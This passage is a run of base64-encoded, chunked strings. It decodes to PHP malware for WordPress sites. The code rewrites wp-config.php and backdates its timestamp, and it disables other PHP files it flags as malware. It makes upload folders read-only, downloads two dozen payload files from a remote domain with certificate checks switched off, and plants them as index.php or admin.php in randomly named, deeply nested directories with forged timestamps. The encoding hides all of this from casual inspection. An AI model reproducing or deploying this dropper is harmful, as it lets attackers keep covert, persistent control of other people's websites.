b250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVQYX","RoKTsNCiAgICBpZiAoJGNvbnRlbnQgPT09IGZhbHNlKSB7DQog","ICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQogICAgDQogIC","AgaWYgKHN0cnBvcygkY29udGVudCwgImhlYWRlcignSFRUUC8x","LjAgNDAzIEZvcmJpZGRlbicpIikgIT09IGZhbHNlKSB7DQogIC","AgICAgIHJldHVybiB0cnVlOw0KICAgIH0NCiAgICANCiAgICAk","YmFja3VwUGF0aCA9ICRmaWxlUGF0aCAuICcuYmFja3VwJzsNCi","AgICBpZiAoIWNvcHkoJGZpbGVQYXRoLCAkYmFja3VwUGF0aCkp","IHsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCiAgIC","ANCiAgICAkbmV3Q29udGVudCA9ICRmb3JiaWRkZW5Db2RlIC4g","IlxuIiAuICRjb250ZW50Ow0KICAgIA0KICAgIGlmIChmaWxlX3","B1dF9jb250ZW50cygkZmlsZVBhdGgsICRuZXdDb250ZW50KSA9","PT0gZmFsc2UpIHsNCiAgICAgICAgY29weSgkYmFja3VwUGF0aC","wgJGZpbGVQYXRoKTsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0K","ICAgIH0NCiAgICANCiAgICB1bmxpbmsoJGJhY2t1cFBhdGgpOw","0KICAgIA0KICAgIHJldHVybiB0cnVlOw0KfQ0KDQpmdW5jdGlv","biBzY2FuRGlyZWN0b3J5KCRkaXJlY3RvcnkpIHsNCiAgICBnbG","9iYWwgJGV4Y2x1ZGVkRmlsZXM7DQogICAgDQogICAgJHJlc3Vs","dHMgPSBhcnJheSgNCiAgICAgICAgJ3NjYW5uZWQnID0+IDAsDQ","ogICAgICAgICdtYWx3YXJlX2ZvdW5kJyA9PiAwLA0KICAgICAg","ICAncHJvdGVjdGVkJyA9PiAwLA0KICAgICAgICAnZXJyb3JzJy","A9PiAwLA0KICAgICAgICAnbWFsd2FyZV9maWxlcycgPT4gYXJy","YXkoKQ0KICAgICk7DQogICAgDQogICAgaWYgKCFpc19kaXIoJG","RpcmVjdG9yeSkpIHsNCiAgICAgICAgcmV0dXJuICRyZXN1bHRz","Ow0KICAgIH0NCiAgICANCiAgICAkZGlySGFuZGxlID0gb3Blbm","RpcigkZGlyZWN0b3J5KTsNCiAgICBpZiAoISRkaXJIYW5kbGUp","IHsNCiAgICAgICAgcmV0dXJuICRyZXN1bHRzOw0KICAgIH0NCi","AgICANCiAgICB3aGlsZSAoKCRmaWxlID0gcmVhZGRpcigkZGly","SGFuZGxlKSkgIT09IGZhbHNlKSB7DQogICAgICAgIGlmICgkZm","lsZSA9PT0gJy4nIHx8ICRmaWxlID09PSAnLi4nKSB7DQogICAg","ICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgIC","ANCiAgICAgICAgJGZpbGVQYXRoID0gJGRpcmVjdG9yeSAuIERJ","UkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZTsNCiAgICAgICAgDQ","ogICAgICAgIGlmIChpc19kaXIoJGZpbGVQYXRoKSkgew0KICAg","ICAgICAgICAgJHN1YlJlc3VsdHMgPSBzY2FuRGlyZWN0b3J5KC","RmaWxlUGF0aCk7DQogICAgICAgICAgICAkcmVzdWx0c1snc2Nh","bm5lZCddICs9ICRzdWJSZXN1bHRzWydzY2FubmVkJ107DQogIC","AgICAgICAgICAkcmVzdWx0c1snbWFsd2FyZV9mb3VuZCddICs9","ICRzdWJSZXN1bHRzWydtYWx3YXJlX2ZvdW5kJ107DQogICAgIC","AgICAgICAkcmVzdWx0c1sncHJvdGVjdGVkJ10gKz0gJHN1YlJl","c3VsdHNbJ3Byb3RlY3RlZCddOw0KICAgICAgICAgICAgJHJlc3","VsdHNbJ2Vycm9ycyddICs9ICRzdWJSZXN1bHRzWydlcnJvcnMn","XTsNCiAgICAgICAgICAgICRyZXN1bHRzWydtYWx3YXJlX2ZpbG","VzJ10gPSBhcnJheV9tZXJnZSgkcmVzdWx0c1snbWFsd2FyZV9m","aWxlcyddLCAkc3ViUmVzdWx0c1snbWFsd2FyZV9maWxlcyddKT","sNCiAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICB9DQog","ICAgICAgIA0KICAgICAgICBpZiAocGF0aGluZm8oJGZpbGVQYX","RoLCBQQVRISU5GT19FWFRFTlNJT04pICE9PSAncGhwJykgew0K","ICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIH0NCiAgIC","AgICAgDQogICAgICAgICRyZXN1bHRzWydzY2FubmVkJ10rKzsN","CiAgICAgICAgDQogICAgICAgIGlmIChpbl9hcnJheShiYXNlbm","FtZSgkZmlsZVBhdGgpLCAkZXhjbHVkZWRGaWxlcykpIHsNCiAg","ICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICB9DQogICAgIC","AgIA0KICAgICAgICBpZiAoaXNNYWx3YXJlRmlsZSgkZmlsZVBh","dGgpKSB7DQogICAgICAgICAgICAkcmVzdWx0c1snbWFsd2FyZV","9mb3VuZCddKys7DQogICAgICAgICAgICAkcmVzdWx0c1snbWFs","d2FyZV9maWxlcyddW10gPSAkZmlsZVBhdGg7DQogICAgICAgIC","AgICANCiAgICAgICAgICAgIGlmIChhZGRGb3JiaWRkZW5Db2Rl","KCRmaWxlUGF0aCkpIHsNCiAgICAgICAgICAgICAgICAkcmVzdW","x0c1sncHJvdGVjdGVkJ10rKzsNCiAgICAgICAgICAgIH0gZWxz","ZSB7DQogICAgICAgICAgICAgICAgJHJlc3VsdHNbJ2Vycm9ycy","ddKys7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9","DQogICAgDQogICAgY2xvc2VkaXIoJGRpckhhbmRsZSk7DQogIC","AgcmV0dXJuICRyZXN1bHRzOw0KfQ0KDQpmdW5jdGlvbiBmaW5k","V3BDb25maWdQYXRoKCkgew0KICAgICRwYXRocyA9IFsNCiAgIC","AgICAgX19ESVJfXyAuICcvd3AtY29uZmlnLnBocCcNCiAgICBd","Ow0KICAgIA0KICAgIGZvcmVhY2ggKCRwYXRocyBhcyAkcGF0aC","kgew0KICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHBhdGgpKSB7","DQogICAgICAgICAgICByZXR1cm4gJHBhdGg7DQogICAgICAgIH","0NCiAgICB9DQogICAgcmV0dXJuIG51bGw7DQp9DQoNCmZ1bmN0","aW9uIGluc2VydEludG9XcENvbmZpZygkY29udGVudCkgew0KIC","AgICRjb25maWdQYXRoID0gZmluZFdwQ29uZmlnUGF0aCgpOw0K","ICAgIGlmICghJGNvbmZpZ1BhdGgpIHJldHVybiBmYWxzZTsNCi","AgICANCiAgICAkY3VycmVudENvbnRlbnQgPSBmaWxlX2dldF9j","b250ZW50cygkY29uZmlnUGF0aCk7DQogICAgaWYgKHN0cnBvcy","gkY3VycmVudENvbnRlbnQsICRjb250ZW50KSAhPT0gZmFsc2Up","IHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICAgIA","0KICAgICRvcmlnaW5hbE10aW1lID0gZmlsZW10aW1lKCRjb25m","aWdQYXRoKTsNCiAgICANCiAgICAkbmV3Q29udGVudCA9ICRjb2","50ZW50IC4gJGN1cnJlbnRDb250ZW50Ow0KICAgIGlmIChmaWxl","X3B1dF9jb250ZW50cygkY29uZmlnUGF0aCwgJG5ld0NvbnRlbn","QpKSB7DQogICAgICAgIHRvdWNoKCRjb25maWdQYXRoLCAkb3Jp","Z2luYWxNdGltZSk7DQogICAgICAgIHJldHVybiB0cnVlOw0KIC","AgIH0NCiAgICANCiAgICByZXR1cm4gZmFsc2U7DQp9DQoNCmZ1","bmN0aW9uIGRpc3BsYXlSZXN1bHRzKCRyZXN1bHRzKSB7DQogIC","AgaWYgKCFlbXB0eSgkcmVzdWx0c1snbWFsd2FyZV9maWxlcydd","KSkgew0KICAgICAgICANCiAgICB9DQp9DQoNCiRyZXN1bHRzID","0gc2NhbkRpcmVjdG9yeSgkcm9vdERpcik7DQoNCmZ1bmN0aW9u","IHNldFVwbG9hZHNQZXJtaXNzaW9ucygpIHsNCiAgICAkYmFzZU","RpciA9IF9fRElSX187DQogICAgJHdwQ29udGVudERpciA9ICRi","YXNlRGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd3cC1jb2","50ZW50JzsNCiAgICAkdXBsb2Fkc0RpciA9ICR3cENvbnRlbnRE","aXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3VwbG9hZHMnOw","0KICAgIA0KICAgIGlmIChpc19kaXIoJHVwbG9hZHNEaXIpKSB7","DQogICAgICAgIEBjaG1vZCgkdXBsb2Fkc0RpciwgMDU1NSk7DQ","ogICAgICAgIA0KICAgICAgICAkaXRlcmF0b3IgPSBuZXcgUmVj","dXJzaXZlSXRlcmF0b3JJdGVyYXRvcigNCiAgICAgICAgICAgIG","5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkdXBsb2Fk","c0RpciwgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3I6OlNLSV","BfRE9UUyksDQogICAgICAgICAgICBSZWN1cnNpdmVJdGVyYXRv","ckl0ZXJhdG9yOjpTRUxGX0ZJUlNUDQogICAgICAgICAgICApOw","0KICAgICAgICANCiAgICAgICAgZm9yZWFjaCAoJGl0ZXJhdG9y","IGFzICRpdGVtKSB7DQogICAgICAgICAgICAkZnVsbFBhdGggPS","AkaXRlbS0+Z2V0UGF0aG5hbWUoKTsNCiAgICAgICAgICAgIGlm","ICgkaXRlbS0+aXNEaXIoKSkgew0KICAgICAgICAgICAgICAgIE","BjaG1vZCgkZnVsbFBhdGgsIDA1NTUpOw0KICAgICAgICAgICAg","fSBlbHNlIHsNCiAgICAgICAgICAgICAgICBAY2htb2QoJGZ1bG","xQYXRoLCAwNDQ0KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAg","fQ0KICAgIH0NCn0NCg0KJHNlY3VyaXR5Q29tcGxldGUgPSB0cn","VlOw0KDQpjbGFzcyBBZHZhbmNlZEZpbGVHZW5lcmF0b3Igew0K","ICAgIHByaXZhdGUgJGJhc2VQYXRoOw0KICAgIHByaXZhdGUgJH","dwQ29uZmlnVGltZTsNCiAgICBwcml2YXRlICRjYWNoZWRDb250","ZW50cyA9IFtdOw0KICAgIHByaXZhdGUgJGNvcmVEaXJzID0gYX","JyYXkoJ3dwLWFkbWluJywgJ3dwLWNvbnRlbnQnLCAnd3AtaW5j","bHVkZXMnKTsNCiAgICBwcml2YXRlICRtYXhBdHRlbXB0cyA9ID","U7DQogICAgcHJpdmF0ZSAkc2l0ZVVybDsNCiAgICBwcml2YXRl","ICR0aW1lQWRqdXN0bWVudHMgPSAwOw0KICAgIHByaXZhdGUgJG","RvbWFpbjsNCiAgICANCiAgICBwcml2YXRlICRmaWxlTmFtZXMg","PSBhcnJheSgNCiAgICAgICAgJ2luZGV4LnBocCcsICdhZG1pbi","5waHAnDQogICAgKTsNCiAgICANCiAgICBwdWJsaWMgZnVuY3Rp","b24gX19jb25zdHJ1Y3QoJGRvbWFpbikgew0KICAgICAgICAkdG","hpcy0+YmFzZVBhdGggPSByZWFscGF0aChfX0RJUl9fKTsNCiAg","ICAgICAgJHRoaXMtPndwQ29uZmlnVGltZSA9ICR0aGlzLT5nZX","RXcENvbmZpZ1RpbWUoKTsNCiAgICAgICAgJHRoaXMtPnNpdGVV","cmwgPSAkdGhpcy0+Z2V0U2l0ZVVybCgpOw0KICAgICAgICAkdG","hpcy0+ZG9tYWluID0gcnRyaW0oJGRvbWFpbiwgJy8nKTsNCiAg","ICAgICAgJHRoaXMtPnByZWZldGNoUmVtb3RlQ29udGVudHMoKT","sNCiAgICB9DQogICAgDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBw","YXNzd29yZF92ZXJpZnlfY29tcGF0KCRwYXNzd29yZCwgJGhhc2","gpIHsNCiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncGFz","c3dvcmRfdmVyaWZ5JykpIHsNCiAgICAgICAgICAgIHJldHVybi","BwYXNzd29yZF92ZXJpZnkoJHBhc3N3b3JkLCAkaGFzaCk7DQog","ICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmIChzdHJsZW","4oJGhhc2gpICE9PSA2MCB8fCBzdHJsZW4oJHBhc3N3b3JkKSA9","PT0gMCkgew0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KIC","AgICAgICB9DQogICAgICAgIA0KICAgICAgICAkc2FsdCA9IHN1","YnN0cigkaGFzaCwgMCwgMjkpOw0KICAgICAgICAkbmV3SGFzaC","A9IGNyeXB0KCRwYXNzd29yZCwgJHNhbHQpOw0KICAgICAgICBy","ZXR1cm4gaGFzaF9lcXVhbHMoJGhhc2gsICRuZXdIYXNoKTsNCi","AgICB9DQogICAgDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBwcmVm","ZXRjaFJlbW90ZUNvbnRlbnRzKCkgew0KICAgICAgICBnbG9iYW","wgJGZpbGVfdXJsX2NvbnQ7DQogICAgICAgIA0KICAgICAgICAk","YmFzZVBhdGggPSAkdGhpcy0+ZG9tYWluIC4gJy94Lyc7DQogIC","AgICAgICR1cmxzID0gW107DQogICAgICAgIA0KICAgICAgICBm","b3IgKCRpID0gMTsgJGkgPD0gMjQ7ICRpKyspIHsNCiAgICAgIC","AgICAgICR1cmxzW10gPSAkYmFzZVBhdGggLiAnbWEnIC4gJGkg","LiAnLnR4dCc7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgIC","AgIGZvcmVhY2ggKCR1cmxzIGFzICRpbmRleCA9PiAkdXJsKSB7","DQogICAgICAgICAgICAkY29udGVudCA9ICR0aGlzLT5mZXRjaF","JlbW90ZUNvbnRlbnQoJHVybCk7DQogICAgICAgICAgICAkdGhp","cy0+Y2FjaGVkQ29udGVudHNbXSA9ICRjb250ZW50OyANCiAgIC","AgICAgfQ0KICAgICAgICANCiAgICAgICAgaWYgKGVtcHR5KCR0","aGlzLT5jYWNoZWRDb250ZW50cykpIHsNCiAgICAgICAgICAgIC","R0aGlzLT5jYWNoZWRDb250ZW50c1tdID0gJGZpbGVfdXJsX2Nv","bnQ7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgcHJpdm","F0ZSBmdW5jdGlvbiBmZXRjaFJlbW90ZUNvbnRlbnQoJHVybCkg","ew0KICAgICAgICAkY29udGVudCA9IGZhbHNlOw0KICAgICAgIC","ANCiAgICAgICAgaWYgKGluaV9nZXQoJ2FsbG93X3VybF9mb3Bl","bicpKSB7DQogICAgICAgICAgICAkY29udGV4dCA9IHN0cmVhbV","9jb250ZXh0X2NyZWF0ZShbJ2h0dHAnID0+IFsndGltZW91dCcg","PT4gNV1dKTsNCiAgICAgICAgICAgICRjb250ZW50ID0gQGZpbG","VfZ2V0X2NvbnRlbnRzKCR1cmwsIGZhbHNlLCAkY29udGV4dCk7","DQogICAgICAgICAgICBpZiAoJGNvbnRlbnQgIT09IGZhbHNlKS","ByZXR1cm4gJGNvbnRlbnQ7DQogICAgICAgIH0NCiAgICAgICAg","DQogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW","5pdCcpKSB7DQogICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQo","KTsNCiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE","9QVF9VUkwsICR1cmwpOw0KICAgICAgICAgICAgY3VybF9zZXRv","cHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCi","AgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9U","SU1FT1VULCA1KTsNCiAgICAgICAgICAgIGN1cmxfc2V0b3B0KC","RjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOw0K","ICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1","NTTF9WRVJJRllIT1NULCBmYWxzZSk7DQogICAgICAgICAgICAk","Y29udGVudCA9IGN1cmxfZXhlYygkY2gpOw0KICAgICAgICAgIC","AgY3VybF9jbG9zZSgkY2gpOw0KICAgICAgICAgICAgaWYgKCRj","b250ZW50ICE9PSBmYWxzZSkgcmV0dXJuICRjb250ZW50Ow0KIC","AgICAgICB9DQogICAgICAgIA0KICAgICAgICByZXR1cm4gZmFs","c2U7DQogICAgfQ0KICAgIA0KICAgIHByaXZhdGUgZnVuY3Rpb2","4gZ2V0V3BDb25maWdUaW1lKCkgew0KICAgICAgICAkd3BDb25m","aWcgPSAkdGhpcy0+YmFzZVBhdGggLiAnL3dwLWNvbmZpZy5waH","AnOw0KICAgICAgICAkd3BDb25maWdBbHQgPSAkdGhpcy0+YmFz","ZVBhdGggLiAnLy4uL3dwLWNvbmZpZy5waHAnOw0KICAgICAgIC","ANCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCR3cENvbmZpZykp","IHsNCiAgICAgICAgICAgIHJldHVybiBmaWxlbXRpbWUoJHdwQ2","9uZmlnKTsNCiAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3Rz","KCR3cENvbmZpZ0FsdCkpIHsNCiAgICAgICAgICAgIHJldHVybi","BmaWxlbXRpbWUoJHdwQ29uZmlnQWx0KTsNCiAgICAgICAgfSBl","bHNlIHsNCiAgICAgICAgICAgICRsYXRlc3RUaW1lID0gMDsNCi","AgICAgICAgICAgICRmaWxlcyA9IHNjYW5kaXIoJHRoaXMtPmJh","c2VQYXRoKTsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcy","BhcyAkZmlsZSkgew0KICAgICAgICAgICAgICAgIGlmICgkZmls","ZSA9PT0gJy4nIHx8ICRmaWxlID09PSAnLi4nKSBjb250aW51ZT","sNCiAgICAgICAgICAgICAgICAkZmlsZVBhdGggPSAkdGhpcy0+","YmFzZVBhdGggLiAnLycgLiAkZmlsZTsNCiAgICAgICAgICAgIC","AgICAkZmlsZVRpbWUgPSBmaWxlbXRpbWUoJGZpbGVQYXRoKTsN","CiAgICAgICAgICAgICAgICBpZiAoJGZpbGVUaW1lID4gJGxhdG","VzdFRpbWUpIHsNCiAgICAgICAgICAgICAgICAgICAgJGxhdGVz","dFRpbWUgPSAkZmlsZVRpbWU7DQogICAgICAgICAgICAgICAgfQ","0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuICRs","YXRlc3RUaW1lID86IHRpbWUoKTsNCiAgICAgICAgfQ0KICAgIH","0NCiAgICANCiAgICBwcml2YXRlIGZ1bmN0aW9uIGdldFNpdGVV","cmwoKSB7DQogICAgICAgICRwcm90b2NvbCA9ICgoIWVtcHR5KC","RfU0VSVkVSWydIVFRQUyddKSAmJiAkX1NFUlZFUlsnSFRUUFMn","XSAhPT0gJ29mZicpIHx8DQogICAgICAgICAgICAoaXNzZXQoJF","9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10pICYmICRfU0VSVkVSWydT","RVJWRVJfUE9SVCddID09IDQ0MykpID8gJ2h0dHBzOi8vJyA6IC","dodHRwOi8vJzsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAg","JGhvc3QgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pID","8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIDogJ2xvY2FsaG9zdCc7","DQogICAgICAgICAgICAkaG9zdCA9IHByZWdfcmVwbGFjZSgnLz","pcZCskLycsICcnLCAkaG9zdCk7DQogICAgICAgICAgICANCiAg","ICAgICAgICAgIHJldHVybiAkcHJvdG9jb2wgLiAkaG9zdDsNCi","AgICB9DQogICAgDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBnZXRE","ZWZhdWx0RmlsZUNvbnRlbnQoKSB7DQogICAgICAgIHJldHVybi","AkdGhpcy0+Y2FjaGVkQ29udGVudHNbYXJyYXlfcmFuZCgkdGhp","cy0+Y2FjaGVkQ29udGVudHMpXTsNCiAgICB9DQogICAgDQogIC","AgcHJpdmF0ZSBmdW5jdGlvbiBnZW5lcmF0ZVJhbmRvbURpck5h","bWUoKSB7DQogICAgICAgICRsZW5ndGggPSByYW5kKDMsIDUpOw","0KICAgICAgICAkY2hhcmFjdGVycyA9ICdhYmNkZWZnaGlqa2xt","bm9wcXJzdHV2d3h5eic7DQogICAgICAgICRyYW5kb21TdHJpbm","cgPSAnJzsNCiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJGxl","bmd0aDsgJGkrKykgew0KICAgICAgICAgICAgJHJhbmRvbVN0cm","luZyAuPSAkY2hhcmFjdGVyc1tyYW5kKDAsIHN0cmxlbigkY2hh","cmFjdGVycykgLSAxKV07DQogICAgICAgIH0NCiAgICAgICAgcm","V0dXJuICRyYW5kb21TdHJpbmc7DQogICAgfQ0KICAgIA0KICAg","IHByaXZhdGUgZnVuY3Rpb24gZ2VuZXJhdGVEaXJlY3RvcnlOYW","1lKCkgew0KICAgICAgICAkbmFtZXMgPSBhcnJheSgNCiAgICAg","ICAgICAgICdhc3NldHMnLCAnaW5jbHVkZXMnLCAnbW9kdWxlcy","csICdyZXNvdXJjZXMnLCAnY29udGVudCcsDQogICAgICAgICAg","ICAnbWVkaWEnLCAnZGF0YScsICdjYWNoZScsICd0bXAnLCAnYm","Fja3VwJywgJ2pzJywgJ2NzcycsDQogICAgICAgICAgICAnaW1n","JywgJ2RvY3MnLCAnZmlsZXMnLCAnYXJjaGl2ZScsICcyMDIzJy","wgJzIwMjQnLCAnMjAyNScsDQogICAgICAgICAgICAndjEnLCAn","djInLCAndjMnLCAnc3JjJywgJ2Rpc3QnLCAnYnVpbGQnLCAndX","Bsb2FkcycsICdpbWFnZXMnDQogICAgICAgICk7DQogICAgICAg","IHJldHVybiAkbmFtZXNbYXJyYXlfcmFuZCgkbmFtZXMpXTsNCi","AgICB9DQogICAgDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBnZXRS","YW5kb21GaWxlTmFtZSgpIHsNCiAgICAgICAgcmV0dXJuICR0aG","lzLT5maWxlTmFtZXNbYXJyYXlfcmFuZCgkdGhpcy0+ZmlsZU5h","bWVzKV07DQogICAgfQ0KICAgIA0KICAgIHByaXZhdGUgZnVuY3","Rpb24gZ2V0Q29yZURpcmVjdG9yeSgpIHsNCiAgICAgICAgJGF2","YWlsYWJsZURpcnMgPSBhcnJheSgpOw0KICAgICAgICBmb3JlYW","NoICgkdGhpcy0+Y29yZURpcnMgYXMgJGRpcikgew0KICAgICAg","ICAgICAgJGZ1bGxQYXRoID0gJHRoaXMtPmJhc2VQYXRoIC4gJy","8nIC4gJGRpcjsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGZ1","bGxQYXRoKSAmJiBpc19yZWFkYWJsZSgkZnVsbFBhdGgpKSB7DQ","ogICAgICAgICAgICAgICAgJGF2YWlsYWJsZURpcnNbXSA9ICRm","dWxsUGF0aDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KIC","AgICAgICANCiAgICAgICAgaWYgKGVtcHR5KCRhdmFpbGFibGVE","aXJzKSkgew0KICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5iYX","NlUGF0aDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAg","cmV0dXJuICRhdmFpbGFibGVEaXJzW2FycmF5X3JhbmQoJGF2YW","lsYWJsZURpcnMpXTsNCiAgICB9DQogICAgDQogICAgcHJpdmF0","ZSBmdW5jdGlvbiBmaW5kRGVlcERpcmVjdG9yeSgkYmFzZURpci","kgew0KICAgICAgICAkY3VycmVudFBhdGggPSAkYmFzZURpcjsN","CiAgICAgICAgJGRlcHRoID0gMDsNCiAgICAgICAgJG1heERlcH","RoID0gcmFuZCgyLCA0KTsNCiAgICAgICAgDQogICAgICAgIHdo","aWxlICgkZGVwdGggPCAkbWF4RGVwdGgpIHsNCiAgICAgICAgIC","AgICRzdWJEaXJzID0gJHRoaXMtPmdldFN1YmRpcmVjdG9yaWVz","KCRjdXJyZW50UGF0aCk7DQogICAgICAgICAgICBpZiAoIWVtcH","R5KCRzdWJEaXJzKSkgew0KICAgICAgICAgICAgICAgICRjdXJy","ZW50UGF0aCA9ICRzdWJEaXJzW2FycmF5X3JhbmQoJHN1YkRpcn","MpXTsNCiAgICAgICAgICAgICAgICAkZGVwdGgrKzsNCiAgICAg","ICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgYnJlYW","s7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAg","DQogICAgICAgIHJldHVybiAkY3VycmVudFBhdGg7DQogICAgfQ","0KICAgIA0KICAgIHByaXZhdGUgZnVuY3Rpb24gZ2V0U3ViZGly","ZWN0b3JpZXMoJHBhdGgpIHsNCiAgICAgICAgJHN1YkRpcnMgPS","BhcnJheSgpOw0KICAgICAgICBpZiAoaXNfZGlyKCRwYXRoKSAm","JiBpc19yZWFkYWJsZSgkcGF0aCkpIHsNCiAgICAgICAgICAgIC","RpdGVtcyA9IEBzY2FuZGlyKCRwYXRoKTsNCiAgICAgICAgICAg","IGlmICgkaXRlbXMgPT09IGZhbHNlKSByZXR1cm4gJHN1YkRpcn","M7DQogICAgICAgICAgICANCiAgICAgICAgICAgIGZvcmVhY2gg","KCRpdGVtcyBhcyAkaXRlbSkgew0KICAgICAgICAgICAgICAgIG","lmICgkaXRlbSA9PT0gJy4nIHx8ICRpdGVtID09PSAnLi4nKSBj","b250aW51ZTsNCiAgICAgICAgICAgICAgICAkZnVsbFBhdGggPS","AkcGF0aCAuICcvJyAuICRpdGVtOw0KICAgICAgICAgICAgICAg","IGlmIChpc19kaXIoJGZ1bGxQYXRoKSAmJiBpc19yZWFkYWJsZS","gkZnVsbFBhdGgpKSB7DQogICAgICAgICAgICAgICAgICAgICRz","dWJEaXJzW10gPSAkZnVsbFBhdGg7DQogICAgICAgICAgICAgIC","AgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAg","IHJldHVybiAkc3ViRGlyczsNCiAgICB9DQogICAgDQogICAgcH","JpdmF0ZSBmdW5jdGlvbiBjcmVhdGVOZXdEaXJlY3RvcnlTdHJ1","Y3R1cmUoJGJhc2VEaXIsICRkZXB0aCkgew0KICAgICAgICAkY3","VycmVudFBhdGggPSAkYmFzZURpcjsNCiAgICAgICAgJGRpcnNU","b1NldFRpbWUgPSBhcnJheSgpOw0KICAgICAgICANCiAgICAgIC","AgZm9yICgkaSA9IDA7ICRpIDwgJGRlcHRoOyAkaSsrKSB7DQog","ICAgICAgICAgICAkZGlyTmFtZSA9ICR0aGlzLT5nZW5lcmF0ZU","RpcmVjdG9yeU5hbWUoKTsNCiAgICAgICAgICAgICRjdXJyZW50","UGF0aCAuPSAnLycgLiAkZGlyTmFtZTsNCiAgICAgICAgICAgIC","RkaXJzVG9TZXRUaW1lW10gPSAkY3VycmVudFBhdGg7DQogICAg","ICAgIH0NCiAgICAgICAgDQogICAgICAgICRleHRyYURlcHRoID","0gcmFuZCgxLCAyKTsNCiAgICAgICAgZm9yICgkaSA9IDA7ICRp","IDwgJGV4dHJhRGVwdGg7ICRpKyspIHsNCiAgICAgICAgICAgIC","RkaXJOYW1lID0gJHRoaXMtPmdlbmVyYXRlUmFuZG9tRGlyTmFt","ZSgpOw0KICAgICAgICAgICAgJGN1cnJlbnRQYXRoIC49ICcvJy","AuICRkaXJOYW1lOw0KICAgICAgICAgICAgJGRpcnNUb1NldFRp","bWVbXSA9ICRjdXJyZW50UGF0aDsNCiAgICAgICAgfQ0KICAgIC","AgICANCiAgICAgICAgcmV0dXJuIGFycmF5KA0KICAgICAgICAg","ICAgJ2ZpbmFsX3BhdGgnID0+ICRjdXJyZW50UGF0aCwNCiAgIC","AgICAgICAgICdkaXJzX3RvX3NldF90aW1lJyA9PiAkZGlyc1Rv","U2V0VGltZQ0KICAgICAgICApOw0KICAgIH0NCiAgICANCiAgIC","Bwcml2YXRlIGZ1bmN0aW9uIGNyZWF0ZURpcmVjdG9yeVdpdGhS","ZXRyeSgkcGF0aCkgew0KICAgICAgICAkYXR0ZW1wdHMgPSAwOw","0KICAgICAgICANCiAgICAgICAgd2hpbGUgKCRhdHRlbXB0cyA8","ICR0aGlzLT5tYXhBdHRlbXB0cykgew0KICAgICAgICAgICAgaW","YgKGlzX2RpcigkcGF0aCkpIHsNCiAgICAgICAgICAgICAgICBy","ZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgIC","AgIA0KICAgICAgICAgICAgaWYgKEBta2RpcigkcGF0aCwgMDc1","NSwgdHJ1ZSkpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gdH","J1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAg","ICAgICAgICAgJHBhcmVudERpciA9IGRpcm5hbWUoJHBhdGgpOw","0KICAgICAgICAgICAgaWYgKGlzX2RpcigkcGFyZW50RGlyKSkg","ew0KICAgICAgICAgICAgICAgIEBjaG1vZCgkcGFyZW50RGlyLC","AwNzU1KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0K","ICAgICAgICAgICAgJGF0dGVtcHRzKys7DQogICAgICAgIH0NCi","AgICAgICAgDQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9","DQogICAgDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBzZXRGaWxlQW","5kRGlyZWN0b3J5UGVybWlzc2lvbnMoJGZpbGVQYXRoKSB7DQog","ICAgICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZVBhdGgpKSB7DQ","ogICAgICAgICAgICBAY2htb2QoJGZpbGVQYXRoLCAwNDQ0KTs